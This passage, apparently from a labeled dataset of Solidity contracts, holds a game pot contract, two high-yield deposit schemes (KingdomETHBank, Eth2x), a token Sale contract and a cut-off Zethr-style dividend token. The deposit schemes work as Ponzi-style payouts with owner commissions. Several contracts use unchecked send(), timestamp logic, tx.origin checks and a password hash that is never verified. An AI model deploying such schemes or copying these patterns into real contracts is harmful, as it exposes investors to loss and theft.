if((count * troopData[i].defensePower) > attackpower)
count = attackpower / troopData[i].defensePower;
defender.troops[i] -= count;
attackpower -= count * troopData[i].defensePower;
}
}
}
}
function ReleaseICO() external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(nextPotDistributionTime <= block.timestamp);
require(honeyPotAmount > 0);
require(globalICOPerCycle[cycleCount] > 0);
nextPotDistributionTime = block.timestamp + 86400;
honeyPotPerCycle[cycleCount] = honeyPotAmount / 5;
honeyPotAmount -= honeyPotAmount / 5;
honeyPotPerCycle.push(0);
globalICOPerCycle.push(0);
cycleCount = cycleCount + 1;
MinerData storage jakpotWinner = miners[msg.sender];
jakpotWinner.unclaimedPot += jackPot;
jackPot = 0;
}
function FundICO(uint amount) external
{
require(miners[msg.sender].lastUpdateTime != 0);
require(amount > 0);
MinerData storage m = miners[msg.sender];
UpdateMoney();
require(m.money >= amount);
m.money = (m.money).sub(amount);
globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount));
minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount));
}
function WithdrawICOEarnings() external
{
MinerData storage m = miners[msg.sender];
require(miners[msg.sender].lastUpdateTime != 0);
require(miners[msg.sender].lastPotClaimIndex < cycleCount);
uint256 i = m.lastPotClaimIndex;
uint256 limit = cycleCount;
if((limit - i) > 30)
limit = i + 30;
m.lastPotClaimIndex = limit;
for(; i < cycleCount; ++i)
{
if(minerICOPerCycle[msg.sender][i] > 0)
m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i];
}
}
function BuyHandler(uint amount) private
{
honeyPotAmount += (amount * honeyPotSharePct) / 100;
jackPot += amount / 100;
devFund += (amount * (100-(honeyPotSharePct+1))) / 100;
}
function WithdrawPotShare() public
{
MinerData storage m = miners[msg.sender];
require(m.unclaimedPot > 0);
require(m.lastUpdateTime != 0);
uint256 amntToSend = m.unclaimedPot;
m.unclaimedPot = 0;
if(msg.sender.send(amntToSend))
{
m.unclaimedPot = 0;
}
}
function WithdrawDevFunds() public
{
require(msg.sender == owner);
if(owner.send(devFund))
{
devFund = 0;
}
}
function() public payable {
devFund += msg.value;
}
} | 0 | 1,278 |
pragma solidity ^0.4.25;
contract KingdomETHBank {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 5;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 203 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
contract Eth2x {
using SafeMath for uint;
struct Investor {
uint invested;
uint payouts;
uint first_invest;
uint last_payout;
address referrer;
}
uint constant public COMMISSION = 10;
uint constant public WITHDRAW = 85;
uint constant public REFBONUS = 2;
uint constant public CASHBACK = 3;
uint constant public MULTIPLICATION = 2;
address public beneficiary = 0x373D3f20f9F10d23686Dc5Cda704E4EFCf0Ab1DB;
mapping(address => Investor) public investors;
event AddInvestor(address indexed holder);
event Payout(address indexed holder, uint amount);
event Deposit(address indexed holder, uint amount, address referrer);
event RefBonus(address indexed from, address indexed to, uint amount);
event CashBack(address indexed holder, uint amount);
event Withdraw(address indexed holder, uint amount);
function bonusSize() view public returns(uint) {
uint b = address(this).balance;
if(b >= 5000 ether) return 9;
if(b >= 3000 ether) return 4;
if(b >= 2000 ether) return 5;
if(b >= 1000 ether) return 6;
return 7;
}
function payoutSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.mul(MULTIPLICATION);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
uint payout = investors[_to].invested.mul(bonusSize()).div(100).mul(block.timestamp.sub(investors[_to].last_payout)).div(1 days);
return investors[_to].payouts.add(payout) > max ? max.sub(investors[_to].payouts) : payout;
}
function withdrawSize(address _to) view public returns(uint) {
uint max = investors[_to].invested.div(100).mul(WITHDRAW);
if(investors[_to].invested == 0 || investors[_to].payouts >= max) return 0;
return max.sub(investors[_to].payouts);
}
function bytesToAddress(bytes bys) pure private returns(address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function() payable external {
if(investors[msg.sender].invested > 0) {
uint payout = payoutSize(msg.sender);
require(msg.value > 0 || payout > 0, "No payouts");
if(payout > 0) {
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].payouts = investors[msg.sender].payouts.add(payout);
msg.sender.transfer(payout);
emit Payout(msg.sender, payout);
}
if(investors[msg.sender].payouts >= investors[msg.sender].invested.mul(MULTIPLICATION)) {
delete investors[msg.sender];
emit Withdraw(msg.sender, 0);
}
}
if(msg.value == 0.00000007 ether) {
require(investors[msg.sender].invested > 0, "You have not invested anything yet");
uint amount = withdrawSize(msg.sender);
require(amount > 0, "You have nothing to withdraw");
msg.sender.transfer(amount);
delete investors[msg.sender];
emit Withdraw(msg.sender, amount);
}
else if(msg.value > 0) {
require(msg.value >= 0.01 ether, "Minimum investment amount 0.01 ether");
investors[msg.sender].last_payout = block.timestamp;
investors[msg.sender].invested = investors[msg.sender].invested.add(msg.value);
beneficiary.transfer(msg.value.mul(COMMISSION).div(100));
if(investors[msg.sender].first_invest == 0) {
investors[msg.sender].first_invest = block.timestamp;
if(msg.data.length > 0) {
address ref = bytesToAddress(msg.data);
if(ref != msg.sender && investors[ref].invested > 0 && msg.value >= 1 ether) {
investors[msg.sender].referrer = ref;
uint ref_bonus = msg.value.mul(REFBONUS).div(100);
ref.transfer(ref_bonus);
emit RefBonus(msg.sender, ref, ref_bonus);
uint cashback_bonus = msg.value.mul(CASHBACK).div(100);
msg.sender.transfer(cashback_bonus);
emit CashBack(msg.sender, cashback_bonus);
}
}
emit AddInvestor(msg.sender);
}
emit Deposit(msg.sender, msg.value, investors[msg.sender].referrer);
}
}
} | 0 | 1,126 |
pragma solidity >=0.4.10;
contract Token {
function balanceOf(address addr) returns(uint);
function transfer(address to, uint amount) returns(bool);
}
contract Sale {
address public owner;
address public newOwner;
string public notice;
uint public start;
uint public end;
uint public cap;
bool public live;
event StartSale();
event EndSale();
event EtherIn(address from, uint amount);
function Sale() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () payable {
require(block.timestamp >= start);
if (block.timestamp > end || this.balance > cap) {
require(live);
live = false;
EndSale();
} else if (!live) {
live = true;
StartSale();
}
EtherIn(msg.sender, msg.value);
}
function init(uint _start, uint _end, uint _cap) onlyOwner {
start = _start;
end = _end;
cap = _cap;
}
function changeOwner(address next) onlyOwner {
newOwner = next;
}
function acceptOwnership() {
require(msg.sender == newOwner);
owner = msg.sender;
newOwner = 0;
}
function setNotice(string note) onlyOwner {
notice = note;
}
function withdraw() onlyOwner {
msg.sender.transfer(this.balance);
}
function withdrawSome(uint value) onlyOwner {
require(value <= this.balance);
msg.sender.transfer(value);
}
function withdrawToken(address token) onlyOwner {
Token t = Token(token);
if (!t.transfer(msg.sender, t.balanceOf(this))) throw;
}
function refundToken(address token, address sender, uint amount) onlyOwner {
Token t = Token(token);
if (!t.transfer(sender, amount)) throw;
}
} | 0 | 1,102 |
pragma solidity ^0.4.24;
contract XYZethr {
using SafeMath for uint;
modifier onlyHolders() {
require(myFrontEndTokens() > 0);
_;
}
modifier dividendHolder() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
event UserDividendRate(
address user,
uint divRate
);
event onTokenSell(
address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event Allocation(
uint toBankRoll,
uint toReferrer,
uint toTokenHolders,
uint toDivCardHolders,
uint forTokens
);
event Referral(
address referrer,
uint amountReceived
);
uint8 constant public decimals = 18;
uint constant internal tokenPriceInitial_ = 0.000653 ether;
uint constant internal magnitude = 2**64;
uint constant internal icoHardCap = 250 ether;
uint constant internal addressICOLimit = 1 ether;
uint constant internal icoMinBuyIn = 0.1 finney;
uint constant internal icoMaxGasPrice = 50000000000 wei;
uint constant internal MULTIPLIER = 9615;
uint constant internal MIN_ETH_BUYIN = 0.0001 ether;
uint constant internal MIN_TOKEN_SELL_AMOUNT = 0.0001 ether;
uint constant internal MIN_TOKEN_TRANSFER = 1e10;
uint constant internal referrer_percentage = 25;
uint public stakingRequirement = 100e18;
string public name = "XYZethr";
string public symbol = "XYZTH";
bytes32 constant public icoHashedPass = bytes32(0x5ddcde33b94b19bdef79dd9ea75be591942b9ec78286d64b44a356280fb6a262);
address internal bankrollAddress;
ZethrDividendCards divCardContract;
mapping(address => uint) internal frontTokenBalanceLedger_;
mapping(address => uint) internal dividendTokenBalanceLedger_;
mapping(address =>
mapping (address => uint))
public allowed;
mapping(uint8 => bool) internal validDividendRates_;
mapping(address => bool) internal userSelectedRate;
mapping(address => uint8) internal userDividendRate;
mapping(address => uint) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint) internal ICOBuyIn;
uint public tokensMintedDuringICO;
uint public ethInvestedDuringICO;
uint public currentEthInvested;
uint internal tokenSupply = 0;
uint internal divTokenSupply = 0;
uint internal profitPerDivToken;
mapping(address => bool) public administrators;
bool public icoPhase = false;
bool public regularPhase = false;
uint icoOpenTime;
constructor (address _bankrollAddress, address _divCardAddress)
public
{
bankrollAddress = _bankrollAddress;
divCardContract = ZethrDividendCards(_divCardAddress);
administrators[msg.sender] = true;
validDividendRates_[2] = true;
validDividendRates_[5] = true;
validDividendRates_[10] = true;
validDividendRates_[15] = true;
validDividendRates_[20] = true;
validDividendRates_[25] = true;
validDividendRates_[33] = true;
userSelectedRate[bankrollAddress] = true;
userDividendRate[bankrollAddress] = 33;
}
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass)
public
payable
returns (uint)
{
require(icoPhase || regularPhase);
if (icoPhase) {
bytes32 hashedProvidedPass = keccak256(providedUnhashedPass);
uint gasPrice = tx.gasprice;
}
require (validDividendRates_[_divChoice]);
userSelectedRate[msg.sender] = true;
userDividendRate[msg.sender] = _divChoice;
emit UserDividendRate(msg.sender, _divChoice);
purchaseTokens(msg.value, _referredBy);
}
function buy(address _referredBy)
public
payable
returns(uint)
{
require(regularPhase);
address _customerAddress = msg.sender;
require (userSelectedRate[_customerAddress]);
purchaseTokens(msg.value, _referredBy);
}
function buyAndTransfer(address _referredBy, address target)
public
payable
{
bytes memory empty;
buyAndTransfer(_referredBy,target, empty, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data)
public
payable
{
buyAndTransfer(_referredBy, target, _data, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice)
public
payable
{
require(regularPhase);
address _customerAddress = msg.sender;
uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender];
if (userSelectedRate[_customerAddress] && divChoice == 0) {
purchaseTokens(msg.value, _referredBy);
} else {
buyAndSetDivPercentage(_referredBy, divChoice, "0x0");
}
uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance);
transferTo(msg.sender, target, difference, _data);
}
function()
payable
public
{
require(regularPhase);
address _customerAddress = msg.sender;
if (userSelectedRate[_customerAddress]) {
purchaseTokens(msg.value, 0x0);
} else {
buyAndSetDivPercentage(0x0, 20, "0x0");
}
}
function reinvest()
dividendHolder()
public
{
require(regularPhase);
uint _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _tokens = frontTokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw(_customerAddress);
}
function withdraw(address _recipient)
dividendHolder()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
if (_recipient == address(0x0)){
_recipient = msg.sender;
}
_recipient.transfer(_dividends);
emit onWithdraw(_recipient, _dividends);
}
function sell(uint _amountOfTokens)
onlyHolders()
public
{
require(!icoPhase);
require(regularPhase);
require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
uint _frontEndTokensToBurn = _amountOfTokens;
uint userDivRate = getUserAverageDividendRate(msg.sender);
require ((2*magnitude) <= userDivRate && (50*magnitude) >= userDivRate );
uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude);
uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn);
if (_ethereum > currentEthInvested){
currentEthInvested = 0;
} else { currentEthInvested = currentEthInvested - _ethereum; }
uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
tokenSupply = tokenSupply.sub(_frontEndTokensToBurn);
divTokenSupply = divTokenSupply.sub(_divTokensToBurn);
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn);
int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude));
payoutsTo_[msg.sender] -= _updatedPayouts;
if (divTokenSupply > 0) {
profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply);
}
emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens)
onlyHolders()
public
returns(bool)
{
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
bytes memory empty;
transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty);
return true;
}
function approve(address spender, uint tokens)
public
returns (bool)
{
address _customerAddress = msg.sender;
allowed[_customerAddress][spender] = tokens;
emit Approval(_customerAddress, spender, tokens);
return true;
}
function transferFrom(address _from, address _toAddress, uint _amountOfTokens)
public
returns(bool)
{
address _customerAddress = _from;
bytes memory empty;
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress]
&& _amountOfTokens <= allowed[_customerAddress][msg.sender]);
transferFromInternal(_from, _toAddress, _amountOfTokens, empty);
return true;
}
function transferTo (address _from, address _to, uint _amountOfTokens, bytes _data)
public
{
if (_from != msg.sender){
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]
&& _amountOfTokens <= allowed[_from][msg.sender]);
}
else{
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]);
}
transferFromInternal(_from, _to, _amountOfTokens, _data);
}
function totalSupply()
public
view
returns (uint256)
{
return tokenSupply;
}
function publicStartRegularPhase()
public
{
require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0);
icoPhase = false;
regularPhase = true;
}
function startICOPhase()
onlyAdministrator()
public
{
require(icoOpenTime == 0);
icoPhase = true;
icoOpenTime = now;
}
function endICOPhase()
onlyAdministrator()
public
{
icoPhase = false;
}
function startRegularPhase()
onlyAdministrator
public
{
icoPhase = false;
regularPhase = true;
}
function setAdministrator(address _newAdmin, bool _status)
onlyAdministrator()
public
{
administrators[_newAdmin] = _status;
}
function setStakingRequirement(uint _amountOfTokens)
onlyAdministrator()
public
{
require (_amountOfTokens >= 100e18);
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function changeBankroll(address _newBankrollAddress)
onlyAdministrator
public
{
bankrollAddress = _newBankrollAddress;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalEthereumICOReceived()
public
view
returns(uint)
{
return ethInvestedDuringICO;
}
function getMyDividendRate()
public
view
returns(uint8)
{
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
return userDividendRate[_customerAddress];
}
function getFrontEndTokenSupply()
public
view
returns(uint)
{
return tokenSupply;
}
function getDividendTokenSupply()
public
view
returns(uint)
{
return divTokenSupply;
}
function myFrontEndTokens()
public
view
returns(uint)
{
address _customerAddress = msg.sender;
return getFrontEndTokenBalanceOf(_customerAddress);
}
function myDividendTokens()
public
view
returns(uint)
{
address _customerAddress = msg.sender;
return getDividendTokenBalanceOf(_customerAddress);
}
function myReferralDividends()
public
view
returns(uint)
{
return myDividends(true) - myDividends(false);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function theDividendsOf(bool _includeReferralBonus, address _customerAddress)
public
view
returns(uint)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function getFrontEndTokenBalanceOf(address _customerAddress)
view
public
returns(uint)
{
return frontTokenBalanceLedger_[_customerAddress];
}
function balanceOf(address _owner)
view
public
returns(uint)
{
return getFrontEndTokenBalanceOf(_owner);
}
function getDividendTokenBalanceOf(address _customerAddress)
view
public
returns(uint)
{
return dividendTokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint)
{
return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude));
return theSellPrice;
}
function buyPrice(uint dividendRate)
public
view
returns(uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price);
return theBuyPrice;
}
function calculateTokensReceived(uint _ethereumToSpend)
public
view
returns(uint)
{
uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100);
uint _taxedEthereum = _ethereumToSpend.sub(_dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint _tokensToSell)
public
view
returns(uint)
{
require(_tokensToSell <= tokenSupply);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint userAverageDividendRate = getUserAverageDividendRate(msg.sender);
uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
return _taxedEthereum;
}
function getUserAverageDividendRate(address user) public view returns (uint) {
return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]);
}
function getMyAverageDividendRate() public view returns (uint) {
return getUserAverageDividendRate(msg.sender);
}
function purchaseTokens(uint _incomingEthereum, address _referredBy)
internal
returns(uint)
{
uint toBankRoll;
uint toReferrer;
uint toTokenHolders;
uint toDivCardHolders;
uint dividendAmount;
uint tokensBought;
uint dividendTokensBought;
uint remainingEth = _incomingEthereum;
uint fee;
if (regularPhase) {
toDivCardHolders = _incomingEthereum.div(100);
remainingEth = remainingEth.sub(toDivCardHolders);
}
uint dividendRate = userDividendRate[msg.sender];
dividendAmount = (remainingEth.mul(dividendRate)).div(100);
remainingEth = remainingEth.sub(dividendAmount);
if (icoPhase && msg.sender == bankrollAddress) {
remainingEth = remainingEth + dividendAmount;
}
tokensBought = ethereumToTokens_(remainingEth);
dividendTokensBought = tokensBought.mul(dividendRate);
tokenSupply = tokenSupply.add(tokensBought);
divTokenSupply = divTokenSupply.add(dividendTokensBought);
currentEthInvested = currentEthInvested + remainingEth;
if (icoPhase) {
toBankRoll = dividendAmount;
if (msg.sender == bankrollAddress) {
toBankRoll = 0;
}
toReferrer = 0;
toTokenHolders = 0;
ethInvestedDuringICO = ethInvestedDuringICO + remainingEth;
tokensMintedDuringICO = tokensMintedDuringICO + tokensBought;
require(ethInvestedDuringICO <= icoHardCap);
require(tx.origin == msg.sender || msg.sender == bankrollAddress);
ICOBuyIn[msg.sender] += remainingEth;
require(ICOBuyIn[msg.sender] <= addressICOLimit || msg.sender == bankrollAddress);
if (ethInvestedDuringICO == icoHardCap){
icoPhase = false;
}
} else {
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
frontTokenBalanceLedger_[_referredBy] >= stakingRequirement)
{
toReferrer = (dividendAmount.mul(referrer_percentage)).div(100);
referralBalance_[_referredBy] += toReferrer;
emit Referral(_referredBy, toReferrer);
}
toTokenHolders = dividendAmount.sub(toReferrer);
fee = toTokenHolders * magnitude;
fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply))));
profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply));
payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee);
}
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought);
if (toBankRoll != 0) { ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)(); }
if (regularPhase) { divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate); }
emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth);
uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum;
assert(sum == 0);
}
function ethereumToTokens_(uint _ethereumAmount)
public
view
returns(uint)
{
require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth.");
if (icoPhase) {
return _ethereumAmount.div(tokenPriceInitial_) * 1e18;
}
uint ethTowardsICOPriceTokens = 0;
uint ethTowardsVariablePriceTokens = 0;
if (currentEthInvested >= ethInvestedDuringICO) {
ethTowardsVariablePriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount <= ethInvestedDuringICO) {
ethTowardsICOPriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) {
ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested);
ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens);
} else {
revert();
}
assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount);
uint icoPriceTokens = 0;
uint varPriceTokens = 0;
if (ethTowardsICOPriceTokens != 0) {
icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_);
}
if (ethTowardsVariablePriceTokens != 0) {
uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens;
uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens;
uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER);
uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER);
varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore);
}
uint totalTokensReceived = icoPriceTokens + varPriceTokens;
assert(totalTokensReceived > 0);
return totalTokensReceived;
}
function tokensToEthereum_(uint _tokens)
public
view
returns(uint)
{
require (_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens.");
uint tokensToSellAtICOPrice = 0;
uint tokensToSellAtVariablePrice = 0;
if (tokenSupply <= tokensMintedDuringICO) {
tokensToSellAtICOPrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) {
tokensToSellAtVariablePrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) {
tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO);
tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice);
} else {
revert();
}
assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens);
uint ethFromICOPriceTokens;
uint ethFromVarPriceTokens;
if (tokensToSellAtICOPrice != 0) {
ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18);
}
if (tokensToSellAtVariablePrice != 0) {
uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3);
uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3);
ethFromVarPriceTokens = investmentBefore.sub(investmentAfter);
}
uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens;
assert(totalEthReceived > 0);
return totalEthReceived;
}
function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data)
internal
{
require(regularPhase);
require(_toAddress != address(0x0));
address _customerAddress = _from;
uint _amountOfFrontEndTokens = _amountOfTokens;
if(theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress);
uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude);
if (_customerAddress != msg.sender){
allowed[_customerAddress][msg.sender] -= _amountOfTokens;
}
frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens);
